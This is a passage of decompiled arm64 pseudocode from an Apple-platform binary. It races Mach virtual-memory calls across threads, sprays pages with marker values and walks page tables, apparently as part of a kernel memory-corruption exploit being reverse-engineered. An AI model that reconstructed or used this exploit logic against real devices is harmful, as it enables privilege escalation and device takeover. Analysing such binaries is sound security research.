*__fastcall sub_6E30(_QWORD *a1, unsigned __int64 a2, void *a3, size_t a4) -{ - __int64 v7; // x22 - unsigned __int64 v8; // x8 - vm_address_t v9; // x1 - - v7 = a2 & 0x3FFF; - v8 = a2 >> 0xE; - v9 = a1[0xA9]; - *(_DWORD *)(v9 + 0x230) = v8; - vm_copy(mach_task_self_, v9, 0xC000uLL, a1[0xAA]); - vm_copy(mach_task_self_, a1[0xAC], 0xC000uLL, a1[0xAD]); - return memcpy(a3, (const void *)(a1[0xAD] + v7), a4); -} - -//----- (0000000000006EB8) ---------------------------------------------------- -__int64 __fastcall sub_6EB8(_QWORD *a1, const void *a2, unsigned __int64 a3, size_t a4) -{ - __int64 v7; // x24 - vm_address_t v8; // x1 - void *v9; // x23 - vm_address_t v10; // x21 - vm_map_t v11; // w0 - __int64 vars8; // [xsp+48h] [xbp+8h] - - v7 = a3 & 0x3FFF; - v8 = a1[0xA9]; - *(_DWORD *)(v8 + 0x230) = a3 >> 0xE; - vm_copy(mach_task_self_, v8, 0xC000uLL, a1[0xAA]); - v9 = (void *)(a1[0xAF] - a4 + 0x4000); - v10 = a1[0xB0] + v7; - memcpy(v9, a2, a4); - v11 = mach_task_self_; - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10); -} -// 6F58: variable 'vars8' is possibly undefined - -//----- (0000000000006F68) ---------------------------------------------------- -__int64 sub_6F68() -{ - __int64 v0; // x0 - unsigned __int64 v1; // x1 - unsigned __int64 v2; // x19 - _QWORD *v3; // x20 - unsigned __int64 v4; // x21 - __int64 v5; // x23 - __int64 v6; // x8 - unsigned __int64 v7; // x26 - __int64 v8; // x8 - _QWORD v10[2048]; // [xsp+8h] [xbp-4058h] BYREF - - v0 = __chkstk_darwin(); - v2 = v1; - v3 = (_QWORD *)v0; - v4 = *(_QWORD *)(v0 + 0x520); - bzero(v10, 0x4000uLL); - v5 = 0LL; - while ( 1 ) - { - if ( v5 || (v6 = v3[0xA5]) == 0 ) - v6 = *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x50); - v7 = (v6 & v2) >> *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x48); - sub_6E30(v3, v4, v10, 0x4000uLL); - v8 = v10[(unsigned int)v7]; - if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 0x58) & ~v8) != 0 ) - return 0LL; - if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 0x60) & v8) == *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x68) ) - break; - v4 = v8 & 0xFFFFFFFFC000LL; - v5 += 0x38LL; - if ( v5 == 0xA8 ) - return 0LL; - } - return v8 & ~*(_QWORD *)((char *)&unk_42DC8 + v5 + 0x40) & 0xFFFFFFFFF000LL | *(_QWORD *)((_BYTE *)&unk_42DC8 - + v5 - + 0x40) & v2; -} -// 6FA0: variable 'v1' is possibly undefined -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (00000000000070A4) ---------------------------------------------------- -_QWORD *__fastcall sub_70A4(_QWORD *result, __int16 a2, char *a3, unsigned __int64 a4) -{ - unsigned __int64 v4; // x19 - _QWORD *v7; // x22 - size_t v8; // x23 - unsigned __int64 v9; // x0 - - if ( a4 ) - { - v4 = a4; - v7 = result; - do - { - if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) ) - v8 = 0x4000LL - (a2 & 0x3FFF); - else - v8 = v4; - v9 = sub_6F68(); - result = sub_6E30(v7, v9, a3, v8); - a2 += v8; - a3 += v8; - v4 -= v8; - } - while ( v4 ); - } - return result; -} - -//----- (0000000000007128) ---------------------------------------------------- -__int64 __fastcall sub_7128(__int64 result, char *a2, __int16 a3, unsigned __int64 a4) -{ - unsigned __int64 v4; // x19 - _QWORD *v7; // x22 - size_t v8; // x23 - unsigned __int64 v9; // x0 - - if ( a4 ) - { - v4 = a4; - v7 = (_QWORD *)result; - do - { - if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) ) - v8 = 0x4000LL - (a3 & 0x3FFF); - else - v8 = v4; - v9 = sub_6F68(); - result = sub_6EB8(v7, a2, v9, v8); - a2 += v8; - a3 += v8; - v4 -= v8; - } - while ( v4 ); - } - return result; -} - -//----- (00000000000071AC) ---------------------------------------------------- -__int64 __fastcall find_mem_region(__int64 result) -{ - __int64 v1; // x19 - _OWORD v2[5]; // [xsp+0h] [xbp-90h] BYREF - vm_size_t size; // [xsp+58h] [xbp-38h] BYREF - vm_address_t address; // [xsp+60h] [xbp-30h] BYREF - mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF - natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF - - address = 0LL; - if ( !*(_QWORD *)(result + 0x10) ) - { - v1 = result; - while ( 1 ) - { - size = 0LL; - memset(v2, 0, 0x4C); - infoCnt = 0x13; - nesting_depth = 1; - result = vm_region_recurse_64( - mach_task_self_, - &address, - &size, - &nesting_depth, - (vm_region_recurse_info_t)v2, - &infoCnt); - if ( nesting_depth ) - { - if ( !*(_QWORD *)((char *)v2 + 0xC) ) - break; - } - address += size; - if ( *(_QWORD *)(v1 + 0x10) ) - return result; - } - *(_QWORD *)(v1 + 0x10) = address; - } - return result; -} - -//----- (000000000000725C) ---------------------------------------------------- -__int64 __fastcall sub_725C(__int64 a1) -{ - __int64 result; // x0 - vm_address_t address; // [xsp+18h] [xbp-18h] BYREF - - vm_map( - mach_task_self_, - (vm_address_t *)(a1 + 0x20), - (*(_QWORD *)(a1 + 0x598) << 0xE) + 0xC000LL, - 0x1FFFFFFuLL, - 1, - 0, - 0LL, - 0, - 3, - 7, - 1u); - address = *(_QWORD *)(a1 + 0x20); - vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - address = *(_QWORD *)(a1 + 0x20) + 0x4000LL; - vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - address = *(_QWORD *)(a1 + 0x20) + 0x8000LL; - result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - **(_BYTE **)(a1 + 0x20) = 0x41; - return result; -} - -//----- (0000000000007334) ---------------------------------------------------- -__int64 __fastcall sub_7334(__int64 a1) -{ - __int64 v2; // x21 - __int64 result; // x0 - vm_address_t address; // [xsp+8h] [xbp-28h] BYREF - - v2 = 0LL; - *(_QWORD *)(a1 + 0x30) = malloc(0xC3500uLL); - do - { - address = 0LL; - result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 1); - *(_QWORD *)(*(_QWORD *)(a1 + 0x30) + v2) = address; - v2 += 8LL; - } - while ( v2 != 0xC3500 ); - return result; -} - -//----- (00000000000073B8) ---------------------------------------------------- -__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1) -{ - vm_size_t v2; // x2 - __int64 result; // x0 - unsigned __int64 v4; // x8 - unsigned __int64 v5; // x9 - __int64 v6; // x10 - vm_address_t address; // [xsp+8h] [xbp-18h] BYREF - - a1[0x89] = 0x400000LL; - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x400000uLL, 3); - a1[0x87] = address; - v2 = a1[0x89]; - address = 0LL; - result = vm_allocate(mach_task_self_, &address, v2, 1); - a1[0x88] = address; - v4 = a1[0x89]; - if ( v4 ) - { - v5 = 0LL; - v6 = a1[0x87]; - do - { - *(_BYTE *)(v6 + v5) = 0x41; - v5 += 0x4000LL; - } - while ( v5 < v4 ); - } - return result; -} - -//----- (0000000000007454) ---------------------------------------------------- -__int64 __fastcall sub_7454(_QWORD *a1) -{ - vm_size_t v2; // x2 - vm_size_t v3; // x2 - __int64 result; // x0 - unsigned __int64 v5; // x8 - _OWORD *v6; // x9 - unsigned __int64 v7; // x9 - unsigned __int64 v8; // x22 - vm_address_t v9; // x20 - _BYTE v10[32]; // [xsp+0h] [xbp-140h] BYREF - __int128 v11; // [xsp+20h] [xbp-120h] - __int128 v12; // [xsp+30h] [xbp-110h] - __int128 v13; // [xsp+40h] [xbp-100h] - __int128 v14; // [xsp+50h] [xbp-F0h] - __int128 v15; // [xsp+60h] [xbp-E0h] - __int128 v16; // [xsp+70h] [xbp-D0h] - __int128 v17; // [xsp+80h] [xbp-C0h] - __int128 v18; // [xsp+90h] [xbp-B0h] - __int128 v19; // [xsp+A0h] [xbp-A0h] - __int128 v20; // [xsp+B0h] [xbp-90h] - __int128 v21; // [xsp+C0h] [xbp-80h] - __int128 v22; // [xsp+D0h] [xbp-70h] - __int128 v23; // [xsp+E0h] [xbp-60h] - __int128 v24; // [xsp+F0h] [xbp-50h] - vm_address_t address; // [xsp+108h] [xbp-38h] BYREF - - v2 = 0x28000LL * a1[0xB3]; - a1[0x8C] = v2; - *(_QWORD *)v10 = 0LL; - vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1); - a1[0x8A] = *(_QWORD *)v10; - v3 = a1[0x8C] + 0x8000LL; - *(_QWORD *)v10 = 0LL; - result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1); - a1[0x8B] = *(_QWORD *)v10; - *(_QWORD *)v10 = 0LL; - *(_QWORD *)&v10[0x18] = 0LL; - v23 = 0u; - v24 = 0u; - v21 = 0u; - v22 = 0u; - v19 = 0u; - v20 = 0u; - v17 = 0u; - *(_QWORD *)&v18 = 0LL; - v15 = 0u; - v16 = 0u; - v13 = 0u; - v14 = 0u; - v11 = 0u; - v12 = 0u; - *(_OWORD *)&v10[8] = xmmword_42D30; - DWORD2(v11) = 1; - LODWORD(v16) = 4; - HIDWORD(v16) = 0x101C800; - *((_QWORD *)&v18 + 1) = 0xFFFFFFFFFFFFFFFFLL; - HIDWORD(v19) = 0xC0080; - if ( a1[0x8C] ) - { - v5 = 0LL; - do - { - v6 = (_OWORD *)(v5 + a1[0x8A]); - v6[0xC] = v21; - v6[0xD] = v22; - v6[0xE] = v23; - v6[0xF] = v24; - v6[8] = v17; - v6[9] = v18; - v6[0xA] = v19; - v6[0xB] = v20; - v6[4] = v13; - v6[5] = v14; - v6[6] = v15; - v6[7] = v16; - *v6 = *(_OWORD *)v10; - v6[1] = *(_OWORD *)&v10[0x10]; - v6[2] = v11; - v6[3] = v12; - v5 += 0x100LL; - v7 = a1[0x8C]; - } - while ( v5 < v7 ); - if ( v7 ) - { - v8 = 0LL; - do - { - address = v8 + a1[0x8B]; - v9 = address; - vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4002); - result = sub_63E8(v9, 0x4000uLL, 0); - v8 += 0x4000LL; - } - while ( v8 < a1[0x8C] ); - } - } - return result; -} -// 42D30: using guessed type __int128 xmmword_42D30; - -//----- (0000000000007630) ---------------------------------------------------- -__int64 __fastcall sub_7630(_QWORD *a1) -{ - vm_address_t address; // [xsp+8h] [xbp-18h] BYREF - - address = 0LL; - vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); - a1[0x9E] = address; - sub_66A4(a1); - find_mem_region((__int64)a1); - sub_725C((__int64)a1); - sub_7334((__int64)a1); - allocate_two_buffers_for_something(a1); - return sub_7454(a1); -} - -//----- (00000000000076B0) ---------------------------------------------------- -void *__fastcall sub_76B0(_QWORD *a1) -{ - void *v2; // x19 - vm_address_t v3; // x20 - __int64 v4; // x1 - vm_address_t address; // [xsp+8h] [xbp-28h] BYREF - - v2 = calloc(1uLL, 0x40uLL); - address = 0LL; - vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); - *((_QWORD *)v2 + 7) = address; - while ( !(unsigned int)sub_6BBC(a1, (__int64)v2 + 0x10) ) - ; - thread_switch(0, 2, 0); - mach_port_deallocate(mach_task_self_, *((_DWORD *)v2 + 8)); - *((_DWORD *)v2 + 8) = 0; - v3 = *((_QWORD *)v2 + 7); - sub_63E8(v3, 0xC000uLL, 0); - sub_6448(v3); - if ( v4 != *((_QWORD *)v2 + 2) ) - { - vm_deallocate(mach_task_self_, v3, 0xC000uLL); - *((_QWORD *)v2 + 7) = 0LL; - *((_QWORD *)v2 + 1) = 1LL; - } - return v2; -} -// 775C: variable 'v4' is possibly undefined - -//----- (0000000000007794) ---------------------------------------------------- -void *__fastcall sub_7794(_QWORD *a1, int a2) -{ - void *v4; // x19 - __int64 v5; // x1 - vm_address_t v6; // x3 - __int64 v7; // x1 - vm_address_t v8; // x3 - __int64 v9; // x1 - vm_address_t v10; // x0 - vm_address_t v11; // x22 - __int64 v12; // x1 - __int64 v13; // x23 - vm_address_t v14; // x22 - __int64 v15; // x1 - vm_address_t v16; // x0 - vm_address_t v17; // x0 - vm_address_t v18; // x22 - __int64 v19; // x1 - __int64 v20; // x23 - __int64 v21; // x8 - vm_address_t v22; // x3 - __int64 v23; // x8 - vm_address_t v25; // x8 - vm_address_t v26; // x6 - vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF - vm_address_t address; // [xsp+28h] [xbp-38h] BYREF - - v4 = calloc(1uLL, 0x100uLL); - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x18000uLL, 1); - *((_QWORD *)v4 + 0x11) = address; - while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x10) ) - ; - thread_switch(0, 2, 0); - mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 8)); - *((_DWORD *)v4 + 8) = 0; - **((_BYTE **)v4 + 0x11) = 0x41; - sub_6448(*((_QWORD *)v4 + 0x11)); - if ( v5 != *((_QWORD *)v4 + 2) ) - { - v23 = 1LL; -LABEL_23: - *((_QWORD *)v4 + 1) = v23; - return v4; - } - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x14000uLL, 1); - v6 = address; - *((_QWORD *)v4 + 0x12) = address; - vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x11) + 0x4000LL, 0x14000uLL, v6); - while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x38) ) - ; - thread_switch(0, 2, 0); - mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 0x12)); - *((_DWORD *)v4 + 0x12) = 0; - *(_BYTE *)(*((_QWORD *)v4 + 0x12) + 0x10000LL) = 0x41; - sub_6448(*((_QWORD *)v4 + 0x12)); - if ( v7 != *((_QWORD *)v4 + 7) ) - { - v23 = 2LL; - goto LABEL_23; - } - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); - v8 = address; - *((_QWORD *)v4 + 0x13) = address; - vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x12), 0x10000uLL, v8); - while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x60) ) - ; - thread_switch(0, 2, 0); - mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 0x1C)); - *((_DWORD *)v4 + 0x1C) = 0; - *(_BYTE *)(*((_QWORD *)v4 + 0x13) + 0x8000LL) = 0x41; - sub_6448(*((_QWORD *)v4 + 0x13)); - if ( v9 != *((_QWORD *)v4 + 0xC) ) - { - v23 = 3LL; - goto LABEL_23; - } - v10 = sub_6384(*((_QWORD *)v4 + 0x13), 0x10000uLL, 0); - *((_QWORD *)v4 + 0x14) = v10; - address = v10 + 0x4000; - vm_allocate(mach_task_self_, &address, 0xC000uLL, 0x4000); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x12), 0x14000uLL); - *((_QWORD *)v4 + 0x12) = 0LL; - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x11), 0x18000uLL); - *((_QWORD *)v4 + 0x11) = 0LL; - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 3), 0x4000uLL); - *((_QWORD *)v4 + 3) = 0LL; - *((_QWORD *)v4 + 0x15) = sub_6384(*((_QWORD *)v4 + 0x13), 0x10000uLL, 1); - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); - *((_QWORD *)v4 + 0x16) = address; - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); - *((_QWORD *)v4 + 0x17) = address; - vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x15), 0x10000uLL, *((_QWORD *)v4 + 0x16)); - vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x15), 0x10000uLL, *((_QWORD *)v4 + 0x17)); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x13), 0x10000uLL); - *((_QWORD *)v4 + 0x13) = 0LL; - v11 = *((_QWORD *)v4 + 0x15) + 0x8000LL; - vm_protect(mach_task_self_, v11, 0x4000uLL, 0, 1); - sub_6448(v11); - v13 = v12; - vm_protect(mach_task_self_, v11, 0x4000uLL, 0, 3); - if ( v13 != *((_QWORD *)v4 + 2) ) - { - v23 = 4LL; - goto LABEL_23; - } - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); - v14 = address; - vm_copy(mach_task_self_, address, 0x10000uLL, *((_QWORD *)v4 + 0x14)); - vm_deallocate(mach_task_self_, v14, 0x10000uLL); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x14) + 0x4000LL, 0xC000uLL); - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); - *((_QWORD *)v4 + 0x18) = address; - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 8), 0x4000uLL); - *((_QWORD *)v4 + 8) = 0LL; - *(_BYTE *)(*((_QWORD *)v4 + 0x18) + 0x4000LL) = 0x41; - *((_QWORD *)v4 + 0x19) = sub_6384(*((_QWORD *)v4 + 0x18), 0x10000uLL, 0); - sub_6448(*((_QWORD *)v4 + 0x18)); - if ( v15 != *((_QWORD *)v4 + 7) ) - { - v23 = 5LL; - goto LABEL_23; - } - v16 = *((_QWORD *)v4 + 0x16); - *((_QWORD *)v4 + 0x1A) = v16; - *((_QWORD *)v4 + 0x16) = 0LL; - *((_QWORD *)v4 + 0x1B) = sub_6384(v16, 0x10000uLL, 0); - if ( (a2 & 1) == 0 ) - **((_BYTE **)v4 + 0x1A) = 0x41; - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x17), 0x10000uLL); - *((_QWORD *)v4 + 0x17) = 0LL; - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0xD), 0x4000uLL); - *((_QWORD *)v4 + 0xD) = 0LL; - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x19), 0x10000uLL); - *((_QWORD *)v4 + 0x19) = 0LL; - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x18), 0x10000uLL); - *((_QWORD *)v4 + 0x18) = 0LL; - v17 = *((_QWORD *)v4 + 0x15); - *((_QWORD *)v4 + 0x1C) = v17; - *((_QWORD *)v4 + 0x15) = 0LL; - *((_QWORD *)v4 + 0x1D) = sub_6384(v17, 0x10000uLL, 0); - v18 = *((_QWORD *)v4 + 0x1C); - vm_protect(mach_task_self_, v18, 0x4000uLL, 0, 1); - sub_6448(v18); - v20 = v19; - vm_protect(mach_task_self_, v18, 0x4000uLL, 0, 3); - if ( v20 != *((_QWORD *)v4 + 7) ) - { - v23 = 6LL; - goto LABEL_23; - } - v21 = *((_QWORD *)v4 + 0x1A); - if ( a2 ) - { - *((_QWORD *)v4 + 0x1E) = sub_6384(v21 + 0x4000, 0xC000uLL, 1); - address = 0LL; - vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); - v22 = address; - *((_QWORD *)v4 + 0x1F) = address; - vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x1E), 0xC000uLL, v22); - } - else - { - vm_deallocate(mach_task_self_, v21 + 0xC000, 0x4000uLL); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x1B) + 0xC000LL, 0x4000uLL); - v25 = a1[0x9E]; - if ( v25 ) - { - v26 = *((_QWORD *)v4 + 0x1B); - *(_QWORD *)cur_protection = 0LL; - address = v25; - vm_remap( - mach_task_self_, - &address, - 0xC000uLL, - 0LL, - 0x4000, - mach_task_self_, - v26, - 0, - &cur_protection[1], - cur_protection, - 1u); - vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x1B), 0xC000uLL); - *((_QWORD *)v4 + 0x1B) = a1[0x9E]; - a1[0x9E] = 0LL; - } - } - return v4; -} -// 7840: variable 'v5' is possibly undefined -// 78D4: variable 'v7' is possibly undefined -// 795C: variable 'v9' is possibly undefined -// 7A94: variable 'v12' is possibly undefined -// 7B88: variable 'v15' is possibly undefined -// 7C58: variable 'v19' is possibly undefined - -//----- (0000000000007DA4) ---------------------------------------------------- -_QWORD *__fastcall sub_7DA4(_QWORD *a1, __int64 a2) -{ - __int64 i; // x21 - _QWORD *result; // x0 - __int64 v6; // x9 - - for ( i = 0LL; i != 2; ++i ) - { - while ( 1 ) - { - result = sub_76B0(a1); - if ( !result[1] ) - break; - v6 = *(_QWORD *)(a2 + 0x20); - *result = *(_QWORD *)(a2 + 0x18); - *(_QWORD *)(a2 + 0x18) = result; - *(_QWORD *)(a2 + 0x20) = v6 + 1; - } - *(_QWORD *)(a2 + 8 * i) = result; - } - return result; -} - -//----- (0000000000007E08) ---------------------------------------------------- -_QWORD *__fastcall sub_7E08(_QWORD *a1, _QWORD *a2) -{ - _QWORD *v3; // x20 - _QWORD *v4; // x21 - _BOOL4 v5; // w1 - _QWORD *result; // x0 - __int64 v7; // x9 - _QWORD *v8; // x8 - - v3 = a1; - v4 = a1 + 0x97; - v5 = a1 + 0x97 == a2; - while ( 1 ) - { - result = sub_7794(a1, v5); - if ( !result[1] ) - break; - v5 = v4 == a2; - v7 = a2[2]; - *result = a2[1]; - a2[1] = result; - a2[2] = v7 + 1; - a1 = v3; - } - *a2 = result; - if ( a2[2] ) - { - v8 = a2 + 1; - do - v8 = (_QWORD *)*v8; - while ( v8 ); - } - return result; -} - -//----- (0000000000007E84) ---------------------------------------------------- -_QWORD *__fastcall sub_7E84(_QWORD *a1) -{ - __int64 vars8; // [xsp+18h] [xbp+8h] - - sub_7DA4(a1, (__int64)(a1 + 0x8D)); - sub_7DA4(a1, (__int64)(a1 + 0x92)); - sub_7E08(a1, a1 + 0x97); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_7E08(a1, a1 + 0x9B); -} -// 7ECC: variable 'vars8' is possibly undefined - -//----- (0000000000007EDC) ---------------------------------------------------- -__int64 __fastcall sub_7EDC(__int64 a1) -{ - atomic_store(1u, (unsigned __int8 *)(a1 + 0x500)); - vm_copy( - mach_task_self_, - *(_QWORD *)(*(_QWORD *)(a1 + 0x4B8) + 0xF0LL), - 0xC000uLL, - *(_QWORD *)(*(_QWORD *)(a1 + 0x4D8) + 0xD0LL)); - return 0LL; -} - -//----- (0000000000007F28) ---------------------------------------------------- -__int64 __fastcall sub_7F28(__int64 a1) -{ - __int64 i; // x21 - __int64 v3; // x23 - __int64 j; // x21 - __int64 v5; // x23 - - setup_thread_policy(); - for ( i = 0LL; i != 0xFFFFFFFFFFFFFFF0LL; i -= 8LL ) - { - v3 = *(_QWORD *)(a1 + 0x470 + i); - vm_deallocate(mach_task_self_, *(_QWORD *)(v3 + 0x18), 0x4000uLL); - *(_QWORD *)(v3 + 0x18) = 0LL; - } - vm_copy(mach_task_self_, *(_QWORD *)(a1 + 0x438), *(_QWORD *)(a1 + 0x448), *(_QWORD *)(a1 + 0x440)); - for ( j = 0LL; j != 0xFFFFFFFFFFFFFFF0LL; j -= 8LL ) - { - v5 = *(_QWORD *)(a1 + 0x498 + j); - vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0x18), 0x4000uLL); - *(_QWORD *)(v5 + 0x18) = 0LL; - } - atomic_store(1u, (unsigned __int8 *)(a1 + 0x510)); - vm_copy(mach_task_self_, *(_QWORD *)(*(_QWORD *)(a1 + 0x4D8) + 0xD0LL), 0xC000uLL, 0xFFFFFFFFFFFFFFFFLL); - return 0LL; -} - -//----- (0000000000007FF8) ---------------------------------------------------- -__int64 __fastcall sub_7FF8(__int64 a1, unsigned __int64 a2) -{ - __int64 v4; // x8 - unsigned __int64 *v5; // x25 - unsigned __int64 *v6; // x21 - __int64 v7; // x22 - __int64 v8; // x26 - __int64 v9; // x23 - unsigned __int64 v10; // x8 - __int64 v11; // x28 - unsigned __int64 v12; // x27 - __int64 result; // x0 - unsigned __int64 v14; // x25 - unsigned __int64 v15; // x26 - vm_address_t address; // [xsp+8h] [xbp-58h] BYREF - - v4 = *(_QWORD *)(a1 + 0x20); - v5 = (unsigned __int64 *)(v4 + 0x4000); - v6 = (unsigned __int64 *)(v4 + 0x8000); - v7 = *(_QWORD *)(a1 + 0x440); - v8 = *(_QWORD *)(a1 + 0x5D8); - v9 = *(_QWORD *)(a1 + 0x5E0); - *(_QWORD *)(v8 + v7) = 0xAAAA1111AAAA1111LL; - *(_QWORD *)(v9 + v7) = 0xAAAA1111AAAA1111LL; - v10 = 0xBBBB2222BBBB2223LL; - v11 = 0x30D40LL; - while ( 1 ) - { - v12 = v10; - address = (vm_address_t)v5; - result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - *v5 = v12; - __dsb(0xAu); - if ( v12 == *(_QWORD *)(v7 + v8) ) - { - *(_BYTE *)(a1 + 0x28) = 1; - goto LABEL_8; - } - if ( v12 == *(_QWORD *)(v7 + v9) ) - break; - v10 = v12 + 1; - if ( !--v11 ) - goto LABEL_8; - } - *(_BYTE *)(a1 + 0x29) = 1; -LABEL_8: - if ( !*(_BYTE *)(a1 + 0x29) && a2 ) - { - v14 = v12 + 1; - v15 = 1LL; - while ( 1 ) - { - address = (vm_address_t)v6; - result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - *v6 = v14; - __dsb(0xAu); - if ( v14 == *(_QWORD *)(v7 + v9) ) - break; - ++v15; - ++v14; - if ( v15 > a2 ) - return result; - } - *(_BYTE *)(a1 + 0x29) = 1; - } - return result; -} - -//----- (000000000000814C) ---------------------------------------------------- -__int64 __fastcall sub_814C(__int64 a1, int a2) -{ - unsigned __int64 *v4; // x21 - __int64 v5; // x22 - __int64 v6; // x8 - __int64 v7; // x23 - unsigned __int64 v8; // x24 - __int64 v9; // x25 - __int64 result; // x0 - vm_address_t address; // [xsp+8h] [xbp-48h] BYREF - - v4 = (unsigned __int64 *)(*(_QWORD *)(a1 + 0x20) + 0x4000LL); - v5 = *(_QWORD *)(a1 + 0x440); - v6 = 0x5E0LL; - if ( a2 ) - v6 = 0x5D8LL; - v7 = *(_QWORD *)(a1 + v6); - *(_QWORD *)(v7 + v5) = 0xAAAA1111AAAA1111LL; - v8 = 0xBBBB2222BBBB2223LL; - v9 = 0x30D40LL; - while ( 1 ) - { - address = (vm_address_t)v4; - result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); - *v4 = v8; - if ( v8 == *(_QWORD *)(v5 + v7) ) - break; - ++v8; - if ( !--v9 ) - return result; - } - if ( a2 ) - *(_BYTE *)(a1 + 0x28) = 1; - else - *(_BYTE *)(a1 + 0x29) = 1; - return result; -} - -//----- (0000000000008228) ---------------------------------------------------- -unsigned __int64 __fastcall sub_8228(__int64 a1) -{ - pthread_t *v2; // x20 - unsigned __int8 *v3; // x21 - void *(__cdecl *v4)(void *); // x0 - unsigned __int8 v5; // w8 - unsigned __int8 v6; // w8 - void *(__cdecl *v7)(void *); // x0 - unsigned __int8 v8; // w8 - unsigned __int8 v9; // w8 - __int64 v10; // x1 - __int64 v11; // x8 - char v12; // w10 - char v13; // w9 - __int64 v14; // x20 - char i; // w8 - char v16; // w21 - unsigned __int64 result; // x0 - - v2 = (pthread_t *)(a1 + 0x4F8); - v3 = (unsigned __int8 *)(a1 + 0x500); - atomic_store(0, (unsigned __int8 *)(a1 + 0x500)); - v4 = (void *(__cdecl *)(void *))nullsub_1(sub_7EDC); - if ( pthread_create(v2, 0LL, v4, (void *)a1) ) - __error(); - v5 = atomic_load(v3); - if ( (v5 & 1) == 0 ) - { - do - { - usleep(0x3E8u); - v6 = atomic_load((unsigned __int8 *)(a1 + 0x500)); - } - while ( (v6 & 1) == 0 ); - } - usleep(0x1388u); - atomic_store(0, (unsigned __int8 *)(a1 + 0x510)); - v7 = (void *(__cdecl *)(void *))nullsub_1(sub_7F28); - if ( pthread_create((pthread_t *)(a1 + 0x508), 0LL, v7, (void *)a1) ) - __error(); - v8 = atomic_load((unsigned __int8 *)(a1 + 0x510)); - if ( (v8 & 1) == 0 ) - { - do - { - usleep(0x3E8u); - v9 = atomic_load((unsigned __int8 *)(a1 + 0x510)); - } - while ( (v9 & 1) == 0 ); - } - usleep(0x1388u); - sub_6448(*(_QWORD *)(a1 + 0x440)); - v11 = 0LL; - v12 = 1; - while ( 1 ) - { - v13 = v12; - if ( v10 == *(_QWORD *)(*(_QWORD *)(a1 + 8 * v11 + 0x468) + 0x10LL) ) - break; - v12 = 0; - v11 = 1LL; - if ( (v13 & 1) == 0 ) - goto LABEL_14; - } - *(_QWORD *)(a1 + 0x478) = v11; -LABEL_14: - v14 = 0LL; - for ( i = 1; ; i = 0 ) - { - v16 = i; - result = sub_6448(*(_QWORD *)(*(_QWORD *)(a1 + 8 * v14 + 0x490) + 0x38LL)); - if ( (_DWORD)result == 2 ) - break; - v14 = 1LL; - if ( (v16 & 1) == 0 ) - return result; - } - *(_QWORD *)(a1 + 0x4A0) = v14; - return result; -} -// 8324: variable 'v10' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000008384) ---------------------------------------------------- -int *__fastcall sub_8384(__int64 a1, __int64 a2) -{ - int *result; // x0 - __int64 vars8; // [xsp+8h] [xbp+8h] - - result = (int *)madvise((void *)(*(_QWORD *)(a1 + 0x20) + 0xC000LL), a2 << 0xE, 3); - if ( (_DWORD)result ) - { - if ( ((vars8 ^ (2 * vars8)) & 